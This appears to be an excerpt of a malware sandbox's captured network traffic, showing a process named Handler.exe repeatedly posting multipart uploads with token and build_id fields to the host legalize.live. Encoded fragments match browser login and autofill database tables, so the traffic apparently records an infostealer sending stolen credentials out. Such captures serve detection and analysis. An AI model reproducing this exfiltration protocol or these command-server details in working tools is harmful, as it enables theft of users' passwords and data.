2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49776	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:23 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----hlnohdjeua1nyu3ohlny User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:23 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 68 6c 6e 6f 68 64 6a 65 75 61 31 6e 79 75 33 6f 68 6c 6e 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 68 6c 6e 6f 68 64 6a 65 75 61 31 6e 79 75 33 6f 68 6c 6e 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 68 6c 6e 6f 68 64 6a 65 75 61 31 6e 79 75 33 6f 68 6c 6e 79 0d 0a 43 6f 6e 74 Data Ascii: ------hlnohdjeua1nyu3ohlnyContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------hlnohdjeua1nyu3ohlnyContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------hlnohdjeua1nyu3ohlnyCont
2025-01-15 19:16:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:23 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:23 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:24 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49788	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:25 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----imoh4wl6fusriec2dbs2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 69 6d 6f 68 34 77 6c 36 66 75 73 72 69 65 63 32 64 62 73 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 69 6d 6f 68 34 77 6c 36 66 75 73 72 69 65 63 32 64 62 73 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 69 6d 6f 68 34 77 6c 36 66 75 73 72 69 65 63 32 64 62 73 32 0d 0a 43 6f 6e 74 Data Ascii: ------imoh4wl6fusriec2dbs2Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------imoh4wl6fusriec2dbs2Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------imoh4wl6fusriec2dbs2Cont
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:25 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:26 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49801	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:26 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----m79riw4ekng47y5xbim7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:26 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6d 37 39 72 69 77 34 65 6b 6e 67 34 37 79 35 78 62 69 6d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 6d 37 39 72 69 77 34 65 6b 6e 67 34 37 79 35 78 62 69 6d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 6d 37 39 72 69 77 34 65 6b 6e 67 34 37 79 35 78 62 69 6d 37 0d 0a 43 6f 6e 74 Data Ascii: ------m79riw4ekng47y5xbim7Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------m79riw4ekng47y5xbim7Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------m79riw4ekng47y5xbim7Cont
2025-01-15 19:16:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:26 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49846	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:32 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----00r9rq1nohdbimgva1vs User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 3165 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:32 UTC	3165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 30 72 39 72 71 31 6e 6f 68 64 62 69 6d 67 76 61 31 76 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 30 30 72 39 72 71 31 6e 6f 68 64 62 69 6d 67 76 61 31 76 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 30 30 72 39 72 71 31 6e 6f 68 64 62 69 6d 67 76 61 31 76 73 0d 0a 43 6f 6e 74 Data Ascii: ------00r9rq1nohdbimgva1vsContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------00r9rq1nohdbimgva1vsContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------00r9rq1nohdbimgva1vsCont
2025-01-15 19:16:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:33 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49870	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
